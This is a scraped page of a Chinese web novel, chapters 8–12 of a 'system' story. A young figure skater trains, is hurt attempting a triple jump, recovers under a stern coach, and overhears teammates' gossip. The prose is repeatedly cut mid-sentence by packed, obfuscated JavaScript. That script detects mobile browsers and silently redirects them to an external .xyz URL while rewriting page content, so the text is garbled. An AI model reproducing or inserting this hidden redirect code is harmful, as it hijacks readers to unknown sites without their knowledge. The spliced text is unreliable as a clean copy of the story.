;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575245|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时那些咋咋呼呼的强多了。” “叮咚——” “系统检测到关键人物信息：林未眠，26岁，国家级花样滑冰解说员，体育院校播音系毕业。因其专业沉稳的解说风格与细腻的赛事分析能力广受好评。” “当前人物好感度：0（纯路人）。” “系统建议：宿主未来将与此人在赛事中产生交集，可适当关注，或有助于提升宿主的‘观众缘’与‘媒体曝光度’。” 楚棠微微一怔。 林未眠…… 他默念了一遍这个名字，视线重新落回屏幕上那个温文尔雅的身影。 对方正对着镜头，嘴角噙着一抹浅淡而专业的微笑，金丝眼镜后的目光，仿佛能洞察冰场上的每一个细节。 “应该是个花样滑冰的解说员。”楚棠收回目光，嗤笑一声，“不过和我也什么关系就是了。” 他现在连冰都站不稳，考虑这些未免太早了，还是眼前的烤羊腿更实在。 然而林未眠那温润的嗓音和斯文的影像，却像一粒投入湖心的小石子，在他心底漾开了一圈极淡极淡的涟漪。 陆昭没注意到楚棠的异样，继续大快朵颐：“管他谁呢，反正不耽误咱们吃肉。来，小楚棠，再来一串。” “谁小了。”楚棠瞪他一眼，抢过一串烤五花。 油脂的香气在口腔中爆开，瞬间将那点微不足道的涟漪彻底压了下去。 吃饱喝足，两人勾肩搭背地走出烧烤店，夜风微凉吹散了些许酒气。 “系统提示：宿主今日摄入热量已达标，蛋白质补充充足，有利于肌肉生长与身体恢复。【蜜桃臀养成计划】、【大长腿塑造计划】预计在睡眠中持续优化。” “友情提醒：明日训练强度预计不会降低，请宿主养精蓄锐。” 楚棠打了个饱嗝，感受着腹中的饱足与四肢的酸软。 “知道了知道了，你比我妈还啰嗦。” 他望着天边的残月，想起今天在冰上摔的那些跤，想起陈默那张臭脸，又想起平衡木上几乎要将他压垮的沙袋。 很苦，很累。 但好像也没有那么难以忍受。 “陆昭，”楚棠突然开口，“明天你几点去冰场？” 陆昭有些意外地看了他一眼：“你这就开始主动了？我一般提前半小时到，热热身。” “那我也提前半小时。” 说完，楚棠自己都愣了一下。 他什么时候变得这么积极了？ 陆昭哈哈大笑，用力拍了拍他的肩膀：“行啊，看来是真开窍了，哥等着看你明天别又哭鼻子。” “滚犊子吧。”楚棠笑骂一句，心情却莫名地轻松了不少。 也许，那个所谓的“世界冠军”，也不是那么遥不可及。 9. chapter9 翌日。 闹钟还没响，楚棠就睁开了眼。 天色依旧是蒙蒙亮的灰，带着凌晨特有的清寒。 他活动了一下四肢，酸痛感依旧清晰，但似乎比昨天刚练完那会儿好了一些。 系统主动汇报：“报告宿主，昨夜睡眠质量良好，肌肉纤维在深度睡眠中得到有效修复与重塑。【蜜桃臀养成计划】优化进度+0.3%，【大长腿塑造计划】优化进度+0.2%。聊胜于无，宿主仍需戒骄戒躁。” 还真是蚊子腿再小也是肉。 楚棠撇撇嘴，换上了运动服，简单洗漱后就抓起背包出了门。 清晨的空气格外清新，含着一丝微凉的湿意。 俱乐部的大门刚开，里面空荡荡的，只有值班的保安打着哈欠。 冰场上更是安静得能听到自己心跳的声音。 平整如镜的冰面泛着幽幽的冷光，像一块巨大的黑色水晶。 “系统，这冰场看起来比昨天更冷了。”楚棠搓了搓手臂。 “是宿主的心理作用，冰场温度恒定。建议宿主尽快换上【魅惑冰肌玉骨新手套装】，其自带的微弱恒温功能或可缓解宿主的不适感。” 楚棠哼了一声，走进更衣室。 新手套装依旧贴身，勾勒出他初具雏形的肌肉线条。 他对着镜子，下意识地转了转身，看了看自己的屁股。 “好像……是翘了一点点？” “宿主不必怀疑，数据不会说谎。请宿主正视自己的天赋与努力。”系统的声音难得没有那么毒舌。 楚棠还莫名的有点不好意思。 换上冰鞋后，楚棠小心翼翼地再次踏上了冰面，冰刀接触冰面发出的沙沙声在空旷的场馆里显得格外清晰。 他深吸一口气，回忆着昨天陈默教的动作要领以及系统灌输给他的那些平衡技巧。 核心收紧，膝盖微屈，身体前倾。 楚棠试着滑了出去，竟然出乎意料的稳。 虽然速度不快，但至少没有像昨天那样东倒西歪，连楚棠自己都有些惊讶。 “【不动如山（初级）】技能生效中，核心控制力+10%，冰上亲和度+5。宿主昨日的平衡木训练与核心训练初见成效。”系统适时解释。 楚棠心里一喜，看来那顿苦没白吃。 他开始在冰场上缓慢地滑行，试着找感觉。 一圈，两圈…… 渐渐地，楚棠感觉自己和脚下的冰刀、冰面有了一种奇妙的联系。 不再是恐惧，而是一种前所未有的掌控感。 “来这么早？” 陆昭的声音从入口处传来，打破了冰场的宁静。 他提着早餐，看到冰场上已经有模有样滑行的楚棠，眼睛瞪得溜圆。 “我靠，你小子是偷偷吃了什么灵丹妙药？这才第二天，就能滑成这样了？” 楚棠停下来，脸上带着一丝得意：“天赋异禀，没办法。” “切，德性。”陆昭走过来，把一个包子递给他，“喏，肉包子，趁热吃。” 楚棠也不客气，接过来就咬了一大口。 “谢了。” “客气啥。”陆昭也换上冰鞋，“一起练会儿？” “好啊。” 两人一前一后地在冰上滑行，陆昭时不时会指点楚棠几句动作要领。 楚棠学得很快，很多动作一点就透。 “你小子悟性可以啊。”陆昭赞道，“比我刚学那会儿强多了。” “系统提示：获得队友正面评价，自信心提升，观众缘魅力值+0.2。” 楚棠：“？” 这玩意儿还带连锁反应的？ 七点整，陈默准时出现在冰场边。 他依旧是那副冷峻的表情，目光在楚棠和陆昭身上扫过。 “提前到的，不错。”他先是对陆昭点了点头，然后看向楚棠，“今天感觉怎么样？” “报告教练，感觉还行。”楚棠有些不确定地说道。 “还行？”陈默挑眉，“滑两圈我看看。” 楚棠深吸一口气，按照自己刚才找到的感觉滑了出去。 虽然依旧稚嫩，但比起昨天那个连站都站不稳的菜鸟，已然是天壤之别。 陈默面无表情地看着，没有说话。 直到楚棠滑完两圈停在他面前，他才缓缓开口：“重心还是有点高，蹬冰的时候腿部力量用得不够充分。不过，进步很大。” 他顿了顿，嘴角似乎向上扬起了一个极微小的弧度，快得让人以为是错觉。 “看来昨天的核心训练没白练，臀部发力感找到了？” 楚棠脸一热。 这教练怎么也跟系统一样，三句不离屁股。 “……找到一点。”他含糊道。 “系统提示：教练陈默好感度+2，当前–47。支线任务【展现惊人潜力】进度更新至95%。” “今天上午，基础滑行和压步转弯。下午，尝试后外点冰一周跳。”陈默宣布了训练计划。 一周跳？ 楚棠心里咯噔一下。 他现在连平地跳都费劲，直接上冰跳一周？ “怎么，怕了？”陈默似乎看穿了他的心思。 “当然没有。”楚棠梗着脖子，“不就是一周跳吗，小意思。” “很好。”陈默嘴角那抹几乎看不见的笑意又加深了一丝，“有志气。陆昭，你带他先练基础。” “好嘞陈教！”陆昭应道。 一个上午的训练，楚棠感觉自己像是被扔进了洗衣机里反复蹂躏。 压步转弯还好，虽然也摔了几跤，但勉强能跟上。 可到了下午的跳跃训练，简直就是噩梦。 陈默先是在陆地上让他们练习跳跃的姿势和发力感。 “起跳前重心降低，用刃要深，手臂带动身体旋转，落地时膝盖缓冲……” 楚棠听得云里雾里，只觉得浑身都不协调。 “系统，有没有什么速成大法？”他在心里哀嚎。 “报告宿主，花样滑冰没有捷径。但系统可以为您优化神经肌肉募集模式，提升动作协调性。前提是，您需要完成一次成功的后外点冰一周跳。” 楚棠：“……说了等于没说。” 终于到了上冰尝试的环节。 陆昭先做示范，轻松完成了一个标准的一周跳，姿态轻盈。 “看清楚了吗？”陈默问楚棠。 “……看清楚了。”楚棠硬着头皮回答。 个屁。 他只看到陆昭像只鸟一样飞起来转了一圈又落下了。 “那你来。”陈默示意。 楚棠深吸一口气，学着陆昭的样子助滑，然后点冰。 然而，身体刚腾空，他就感觉不对劲。 力量不够，高度不足，旋转更是歪七扭八。 楚棠结结实实地摔在了冰面上，还是屁股先着地。 “嗷——”楚棠痛得眼泪都快出来了。 “系统提示：摔倒姿势美观度-10。检测到宿主臀部遭受撞击，【蜜桃臀养成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575246|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计划】受轻微刺激，进度+0.05%。” 楚棠：“……我谢谢你啊！” “再来！”陈默的声音没有丝毫波澜。 楚棠咬着牙爬起来，继续尝试。 冰场上不断响起他摔倒的声音，以及系统那不合时宜的提示音。 “摔倒姿势美观度-5。” “【蜜桃臀养成计划】进度+0.03%。” “检测到宿主手腕轻微扭伤，新手护腕耐久度-1%。” 楚棠感觉自己浑身上下就没有一块好肉了，尤其是屁股，估计已经肿成八瓣了。 “棠啊，要不先歇会儿？”陆昭都有些看不下去了。 “不用。”楚棠喘着粗气，汗水顺着额角滑落，眼睛却亮得惊人，“我感觉快找到了！” 他也不知道自己哪来的这股执拗劲儿。 或许是被陈默那张万年不变的冰山脸激的，又或许是他骨子里藏了十几年的那点不服输的劲头被激发出来了。 “系统，你说我要是跳个三周跳会怎么样？”楚棠脑子里突然冒出一个疯狂的念头。 “宿主，以您目前的能力，尝试三周跳的成功率为0.0001%，重伤几率为99.9999%。系统不建议您进行任何超出能力范围的作死行为，除非您想体验一下植物人的花滑生涯。” “切，没劲。”楚棠撇嘴。 但他看着冰面，心里那股莫名的躁动却越来越强烈。 一周跳太简单了。 如果能跳出更难的，陈默会不会对他刮目相看？系统会不会给更多奖励？ 他看了一眼正在指导其他队员的陈默，又看了一眼在旁边休息的陆昭。 就是现在。 楚棠深吸一口气，猛地蹬冰加速。 他要尝试的不是一周跳，也不是两周跳，而是他只在视频里见过，连陆昭都还在攻克难关的——三周跳！ “楚棠！你要干什么！”陈默敏锐地察觉到了他的意图，厉声喝道。 陆昭也惊得站了起来：“棠！别乱来！” 但已经晚了。 楚棠将所有的力量都灌注在左腿，用尽全力点冰起跳！ 身体腾空的瞬间，他感觉到了前所未有的高度。 视野在旋转，风声在耳边呼啸。 一周…… 两周…… 他试图控制身体完成第三周的旋转，但核心力量的匮乏和经验的不足在此刻暴露无遗。 身体在空中失去了平衡，像一片失控的落叶急速下坠。 “砰——” 一声沉闷的巨响。 楚棠的左膝盖重重地、毫无缓冲地砸在了坚硬的冰面上。 撕心裂肺般的剧痛瞬间从膝盖蔓延至全身，楚棠眼前一黑，几乎要痛晕过去。 “叮咚——” 冰冷的系统提示音在他脑海中突兀地响起。 “检测到宿主左膝关节遭受严重撞击，软组织挫伤，伴随强烈痛楚。” “符合「疼痛耐受度提升」模块激活条件。” “恭喜宿主，成功解锁「疼痛耐受度（初级）」。” “您的意志力在剧痛中得到了锤炼，世界冠军之路，没有坦途，唯有坚韧！” “当前疼痛耐受度：10/100。请宿主再接再厉，在更多、更强烈的疼痛中磨砺自我，早日达成‘铁打的翘臀，钢铸的膝盖’之伟大成就！” 楚棠：“……” 去你大爷的铁打翘臀钢铸膝盖！ 老子要痛死了！！！ 10. chapter10 楚棠疼得眼前发黑，冷汗瞬间浸湿了后背的【魅惑冰肌玉骨新手套装】。 “你大爷的。” 他从牙缝里挤出几个字，每一个字都带着能把冰面砸出坑的力道。 系统毫无感情的电子音再次响起： “宿主，请保持冷静。剧烈的情绪波动不利于伤情判断，亦无法减轻疼痛。建议宿主尝试深呼吸，并回忆【蜜桃臀养成计划】的美好愿景，以分散注意力。” 楚棠：“我可去你的美好愿景！” “楚棠！” 一声怒喝如惊雷般在空旷的冰场炸响。 陈默铁青着脸，以最快的速度滑了过来，身后是同样满脸惊骇的陆昭。 “你他妈不要命了？！” 陈默几乎是吼出来的，声音里裹挟的怒火让冰场的温度都仿佛升高了几度。 他蹲下身，小心翼翼地检查楚棠的左膝。 楚棠疼得直抽冷气，额头上青筋暴起，嘴唇都咬出了血印子。 “怎么样？很痛吗？”陆昭焦急地问，声音都有些发颤。 楚棠想说“废话”，但膝盖上传来的钻心剧痛让他连开口的力气都没有。 他只能死死抓着自己的裤腿，指节因为用力而泛白。 陈默的脸色阴沉得能滴出水来，小心地碰了碰楚棠的膝盖骨周围。 “嘶——”楚棠倒吸一口凉气，身体不受控制地颤抖起来。 “别动！”陈默厉声喝止，语气却带着一丝不易察觉的紧张。 他抬头，眼神像冰刀一样刮过楚棠惨白的脸：“谁让你跳三周的？！” 楚棠疼得龇牙咧嘴，在这种威压下，那点不服输的劲儿也蔫了大半，“我……我就是想试试……” “试试？！”陈默的声音又拔高了几度，“你以为这是过家家吗？这是竞技体育！你拿你的职业生涯在试什么？！” “教练，您先别生气，楚棠他……”陆昭想帮忙说几句好话。 “你闭嘴！”陈默冷冷地打断他，目光依旧死死锁在楚棠身上，“我问你，一周跳你练熟了吗？基础打牢了吗？你就敢给我上三周？！” 楚棠被训得头都抬不起来，混合着疼痛和委屈，眼眶有点发热。 “系统提示：教练陈默愤怒值+50，当前好感度-97。警告！宿主正面临教练信任危机，请谨慎应对。” “我……”楚棠想辩解，但话到嘴边又咽了回去。 确实是他得意忘形，是他自不量力。 陈默深吸一口气，强压下心头的火气，对陆昭道：“去叫医务室的人过来！快！” “哦哦，好！”陆昭如蒙大赦，连忙起身滑向出口。 冰场上只剩下陈默和疼得蜷缩成一团的楚棠。 气氛凝重得几乎让人窒息。 “系统检测：宿主左膝关节软组织急性挫伤，局部毛细血管破裂导致皮下淤血肿胀。目前评估，未伤及骨骼及主要韧带。建议冰敷，加压包扎，抬高患肢。” 系统的声音适时响起，像个没有感情的医疗机器人。 “但宿主此次作死行为，成功将【疼痛耐受度（初级）】提升至12/100，可喜可贺。” 楚棠：“……” 我可喜可贺你一脸！ 陈默的目光锐利如刀，似乎要将楚棠看穿。 “自己摔的，自己给我起来！” 他一字一句，不带丝毫温度。 陆昭急了：“教练！他这……” “闭嘴！”陈默喝止了陆昭，“他要是连这点都承受不住，趁早滚蛋，别在这儿浪费时间。” 楚棠咬紧了牙关。 膝盖的疼痛依旧在嚣张地肆虐，但陈默的话像是一盆冰水从头浇到脚，让他瞬间清醒了不少。 滚蛋？ 他楚棠上下两辈子就算是被车撞死，从楼上摔死，也还没被人指着鼻子说过滚蛋。 何况，他现在不能死，他还得拿世界冠军复活呢。 一股倔强从楚棠心底涌了上来。 他用右腿和双手支撑着身体，试图从冰面上爬起来，每一次移动左膝都传来钻心的疼痛，汗水早已不知不觉模糊了他的视线。 “系统提示：宿主意志力小幅提升。检测到宿主尝试主动克服疼痛，【疼痛耐受度（初级）】经验值+0.5。” 楚棠他闷哼一声，用尽全身力气终于勉强将上半身撑了起来，但左腿根本不敢用力。 整个人狼狈不堪，像一只折了翅膀的鸟。 “呵。”陈默发出一声意味不明的轻哼。 楚棠抬头，倔强地看着他：“我……我能行。” 声音因为疼痛而有些沙哑，但眼神却异常坚定。 陈默盯着他看了几秒，那眼神复杂得让楚棠读不懂。 “看来，你这冰上海棠花的名头，也不全是贬义。”陈默突然冒出一句。 楚棠一愣。 什么玩意儿？冰上海棠花？谁给他起的这破外号！ “系统，他是不是在骂我？” “根据语境分析，教练陈默此话带有百分之三十的嘲讽，百分之二十的试探，以及百分之五十对宿主在疼痛面前展现出的……呃，某种坚韧品质的复杂评价。” 系统难得地卡顿了一下。 “虽然这个比喻不太恰当，但宿主此刻咬牙坚持的样子，确实有那么一丝破碎的美感？” 楚棠：“……” 陈默没有再多说，只是对陆昭偏了偏头：“扶他起来，去医务室。” 语气依旧硬邦邦的，但比起刚才似乎少了几分凌厉。 陆昭如蒙大赦，赶紧上前小心翼翼地扶起楚棠。 楚棠的左腿几乎不敢沾地，大半个身体的重量都压在了陆昭身上。 “祖宗啊，你慢点，慢点。”陆昭搀着他，一步一步往场边挪。 每走一步，楚棠的眉头就皱紧一分。 “系统检测：宿主左膝关节因移动产生二次刺激，疼痛感加剧。【疼痛耐受度（初级）】经验值+0.3。恭喜宿主，距离‘钢铸的膝盖’又近了一小步。” 楚棠疼得直抽冷气，连跟系统斗嘴的力气都没了。 到了场边，陈默已经招呼来了俱乐部的随队医生。 医生简单检查了一下，表情也凝重起来。 “左膝内侧副韧带可能有些拉伤，还有严重的软组织挫伤。骨头应该没事，但需要进一步检查确认。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575247|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几天肯定是不能训练了，必须马上冰敷制动。” “听到了吗？”陈默看向楚棠，眼神依旧严厉，“这就是你逞能的代价。” 楚棠低着头，嘴唇抿得发白。 他差点以为自己又要再死一次。 “知道错了吗？”陈默追问。 楚棠沉默了几秒，声音有些闷：“知道了。” “错哪儿了？” “不该不自量力，不该不听劝告，强行跳三周。”楚棠老老实实地回答。 人在屋檐下，不得不低头。 尤其是在这种浑身都痛，还被抓了个现行的时候。 陈默冷哼：“算你还有点自知之明。” “你记住，花样滑冰不是靠匹夫之勇就能成功的项目。它需要天赋，更需要日复一日的刻苦训练，不是你想怎样就怎样的。” “从今天开始，你的每一次上冰，每一个动作，都要在我的指导下进行。我不允许的事情，你再敢自作主张，就给我卷铺盖滚蛋。” 陈默的话像鞭子一样抽在楚棠心上。 有点疼，但更多的是一种莫名的踏实感，至少他没说让自己立刻滚蛋。 “教练，我知道了。”楚棠的声音小了些，但语气却很认真。 “系统提示：教练陈默好感度+50，当前–47。宿主成功解锁成就【教练的咆哮】，获得【服从度临时体验卡（1小时）】x1。” 楚棠：“……” 这系统真是会雪上加霜。 医生给楚棠的膝盖进行了紧急的冰敷和加压包扎，冰凉的感觉渗透皮肤，让火烧火燎的疼痛稍微缓解了一些。 “这几天先别下地，好好养着。”医生叮嘱道，“我再给你开点消炎止痛药。” “谢谢医生。”陆昭在一旁连声道谢。 陈默看着楚棠被包扎得像个粽子一样的膝盖，眉头依旧没有松开。 “陆昭，送他回宿舍。这几天的训练计划，等我调整。” “是，陈教！” 陆昭扶着楚棠，小心翼翼地往外走。 临出冰场前，楚棠忍不住回头看了一眼陈默。 陈默依旧站在那里，身影挺拔，表情冷峻，像一尊沉默的雕塑。 但楚棠却隐约觉得，那冰冷的目光背后，似乎藏着一丝不易察觉的复杂情绪。 是错觉吗？ “宿主，不要对NPC抱有过多不切实际的幻想。”系统冷不丁地冒出来。 “教练陈默当前的心理活动主要是：‘这小子太不让人省心了，还没练怎么地呢，膝盖先废了，简直是赔本买卖’。” 楚棠额角青筋一跳：“闭嘴吧你。” “好的宿主，本系统将暂时闭嘴，以便您更好地体会膝盖的疼痛，以及来自教练的深切关怀。” 系统的声音消失了。 楚棠被陆昭搀扶着，一瘸一拐地走在俱乐部的走廊上。 左膝的疼痛还在持续，但他心里却不像刚摔倒时那么慌乱了。 虽然被陈默骂了个狗血淋头，还受了伤，但他好像也不是全无收获。 至少那个什么【疼痛耐受度】，听起来还挺有用的，他好像真的也并没有那么怕疼了。 11. chapter11 陆昭几乎是把楚棠半架半抱地弄回了宿舍。 “祖宗，可算是到了。” 他把楚棠往床上一放，自己先累出了一头汗。 楚棠的左膝被包扎得像个白白胖胖的猪蹄，稍微一动就牵扯着神经末梢发出抗议。 “嘶——” 他倒抽一口凉气，额角又开始冒虚汗。 “系统提示：宿主当前疼痛指数7.8/10，建议保持静卧，减少不必要活动。” 系统的声音依旧冰冷，像个精准的医疗仪器。 “【蜜桃臀养成计划】因宿主膝伤暂停，但【翘屁嫩男】的终极目标永不改变。请宿主积极养伤，为日后更高强度的塑形训练打下坚实基础。” 楚棠：“……我谢谢你啊，这时候还不忘给我画饼。” 陆昭手忙脚乱地从床头柜拿出医生开的消炎止痛药和一杯水。 “棠儿，来，先把药吃了。” 楚棠皱着眉，接过来一口吞下，苦得他五官都皱在了一起。 “这才刚开始，什么时候是个头啊……” 他有气无力地瘫在床上，眼神放空，活像一只被抽了筋的咸鱼。 “系统提示：根据当前恢复速度预估，宿主约需7-10天可进行轻度恢复性训练。距离【教练的仁慈】隐藏考验结束还有6天17小时。” 楚棠猛地坐直了半个身子，又因为牵动伤处，“嗷”了一声。 “什么考验？！” 他怎么把这茬给忘了！ “宿主当日未能准时到达训练场，已自动触发【教练的仁慈】隐藏考验。考验内容：在一周内，于陈默教练面前展现出‘虽千万人吾往矣’的训练热情与‘不破楼兰终不还’的坚韧意志，并主动承担因迟到造成的额外训练量。” “失败惩罚：陈默教练好感度清零，并有90%概率将宿主打包送回原世界的太平间。” 楚棠：“……” 听了感觉自己的膝盖更疼了。 “我现在这样，还怎么展现热情和意志？我连床都下不了！” 楚棠简直想捶床。 “系统建议：宿主可以尝试在床上进行核心力量的静态练习，例如腹式呼吸配合臀桥（单腿版），既能维持核心稳定，又能对【蜜桃臀】的塑形略尽绵力。” “滚！” 楚棠现在听到臀这个字就脑仁疼。 陆昭看着楚棠一会儿青一会儿白的脸色，和自言自语的模样有点担心。 “棠儿，你……你没事吧？是不是疼糊涂了？” 楚棠深吸一口气，强迫自己冷静下来。 “没事，就是想到了一些糟心事。” 他摆摆手，示意陆昭别担心。 …… 养伤的日子，枯燥得能长出蘑菇来。 头两天，楚棠几乎是吃了睡睡了吃，止痛药的副作用让他脑袋一直昏昏沉沉。 陆昭每天按时按点给他送饭，扶他上厕所，像个尽职尽责的老妈子。 “昭儿啊，等我伤好了，我请你吃大餐，顿顿不重样。” 楚棠啃着陆昭削好的苹果，含糊不清地说。 陆昭嘿嘿一笑：“那敢情好，我可记着了啊。” 到了第三天，楚棠的精神头好了一些，膝盖的肿胀也消退不少，但依旧不能下地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575248|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 无聊之下，他开始用手机刷各种花滑比赛的视频。 从入门科普到世界顶级赛事，看得津津有味。 “系统，你说我以后真能拿世界冠军？” 他盯着屏幕上某位大神行云流水的四周跳，语气里带着一丝不确定。 “以宿主S级的潜力，配合本系统S级的养成方案，只要宿主不作死，世界冠军不过是囊中之物。当然，前提是宿主的【翘屁嫩男】指数能达标。” 楚棠翻了个白眼：“三句话不离我屁股，你也是够了。” 又过了两天，陈默让陆昭带话过来，说他可以开始进行一些不涉及膝盖承重的上肢和核心恢复性训练了。 俱乐部的营养师也根据他的情况重新调整了餐单，高蛋白低脂肪，外加各种有助于骨骼和软组织恢复的营养素。 “教练还说，等你膝盖好利索了，之前的训练量得双倍补回来。” 陆昭转述的时候，表情带着一丝同情。 楚棠嘴角无奈地抽了抽，“知道了。” “系统提示：宿主斗志昂扬，求生欲（训练欲）显著提升。【教练的仁慈】隐藏考验完成度+10%。【疼痛耐受度（初级）】经验值已满，自动升级为【疼痛耐受度（中级）】，宿主对疼痛的感知将略微降低，恢复速度小幅提升。” “同时，检测到宿主因长期卧床导致【蜜桃臀】塑形进度出现轻微回落，请宿主尽快恢复训练，重振雄风！” 楚棠额角青筋一跳。 “闭嘴！！” 他决定了，伤好之后，第一件事就是把这个破系统的音量调到最小！ 不，静音！ 12. chapter12 十天，对于度日如年的楚棠来说，仿佛有一个世纪那么漫长。 “看来你恢复得不错。”队医推了推眼镜，语气平淡，“年轻人底子好。不过你要记住，训练要循序渐进，别再冒进尝试高难度动作了，三个月内你要尽量避免剧烈对抗和过载负荷。” “知道了，谢谢医生。”楚棠点头如捣蒜，脸上是压抑不住的喜色。 “系统提示：宿主膝关节健康指数已恢复至85%，满足恢复性训练标准。【蜜桃臀养成计划】可重新启动，请宿主……” “你还是闭嘴吧。” 楚棠在心里冷哼，意念操作直接将系统提示音量拉到最低，果然世界瞬间清静了。 重新踏上冰面的那一刻，楚棠有种恍如隔世的感觉。 冰冷的空气涌入鼻腔，带着熟悉的消毒水和冰屑混合的味道。 脚下的冰刀切割冰面发出唰唰的声响，像一首动听的乐曲。 楚棠小心翼翼地滑了几步，感受着膝盖传来的反馈，虽然还有一丝若有若无的滞涩感，但已经不影响他基础滑行。 他的核心力量在养伤期间的静态训练下，确实稳固了不少，【不动如山（初级）】的效果悄然发挥，让他找回平衡的速度比预想中更快。 “小海棠回来了？”陆昭滑了过来，脸上带着揶揄的笑，“感觉怎么样？” “滚蛋吧你。”楚棠笑骂一句，心情却格外舒畅，“好得很，准备看我王者归来吧。” 不远处，陈默教练抱着手臂，冷峻的目光扫了过来。 没有多余的话，只是朝楚棠微微扬了下下巴，示意他归队。 楚棠深吸一口气，滑了过去。 他这十天的和恢复期间从未间断的核心训练，陈默都看在眼里。 那个【教练的仁慈】隐藏考验，应该算是勉强过关了吧？ “基础滑行，跟上队伍。”陈默的声音依旧没什么温度，“落下的训练量，自己想办法补回来。” “是，教练。”楚棠大声应道，眼神里是前所未有的坚定。 训练结束，楚棠拖着略显疲惫的身体回到更衣室。 还未等推开那扇虚掩着的门，就听到里面传来压低的议论声。 “……他真的回来了啊？我还以为他受不了苦，直接退队了呢。”一个略显尖细的声音说道。 “谁知道呢，当初看他那训练态度，吊儿郎当的，要不是长了张好脸，陈教能看上他？”另一个声音带着明显的酸意。 “就是，你看他那身段，那脸蛋，说是来当花瓶的我绝对信。咱们这儿是练技术的，又不是选美。” “嘘……小声点，别被听见了。” “听见就听见呗，本来就是嘛。咱们哪个不是从小苦练上来的？他倒好，空降进队就算了，还一来就敢挑战三周跳把自己弄伤，我看就是想走捷径博关注。” 楚棠握着门把手的手指猛地收紧，指节因为用力而泛白，冰冷的金属几乎要被他捏变形。 原来在别人眼里，他就是这样？一个靠着皮囊混进国家级俱乐部的绣花枕头？他所付出的努力，在这些人看来，不过只是一场哗众取宠的表演？ 一股难以言喻的怒火混杂着委屈瞬间冲上楚棠的头顶，他很想立刻冲进去，揪着那几个嚼舌根的家伙的衣领让他们把刚才的话收回去。 但他忍住了。 半晌，楚棠缓缓松开了攥着门把手的手，脸上恢复了一贯的散漫和傲娇。 他推开门，若无其事地走了进去，目光甚至没有在那几个瞬间噤声、表情尴尬的队员身上停留。 “都在呢？”他懒洋洋地开口，声音不大，却清晰地传遍了整个更衣室，“背后议论人，不太好吧？有什么话当面说，我听着。” 那几个队员脸色一阵青一阵白，呐呐地说不出话来。 楚棠嗤笑一声，没再理会他们，径直走到自己的柜子前，开始换衣服。 但那些话却像一根刺，深深扎在了他心里。 靠脸？ 那就让这帮人看看，他楚棠到底是不是只有一张脸。 夜幕低垂，星光国际滑冰俱乐部渐渐安静下来。 队员们大多已经结束了一天的训练，拖着疲惫的身躯回宿舍休息。 偌大的冰场只剩下寥寥几盏值班照明灯，将冰面映照出一片清冷的光晕，光晕之上是一道不知疲倦纤长的身影，亮晶晶的考斯滕宛如暗夜精灵，在空旷的冰面上反复滑行、跳跃。 是楚棠。 他没有回宿舍，甚至连晚饭都没顾上吃，只是在自动贩卖机买了瓶运动饮料和能量棒就重新回到了冰场。 更衣室里那些议论，像魔咒一样在他脑海里回荡。 每一个字都像鞭子一样抽打着他的神经，激发出他骨子里那股不服输的傲气。 他一遍又一遍地练习着基础滑行，感受着冰刀切开冰面的阻力，将所有的力量灌注在蹬冰的动作上，力求每一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575249|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个动作都比上一次更标准更有力。 汗水顺着他的额角滑落浸湿了鬓角，又滴落在冰面上，瞬间凝结成细小的冰珠。 基础滑行了几圈，楚棠又开始练习压步转弯，纤细的身体在旋转中保持着惊人的稳定性，仿佛在展示他养伤期间核心训练的成果。 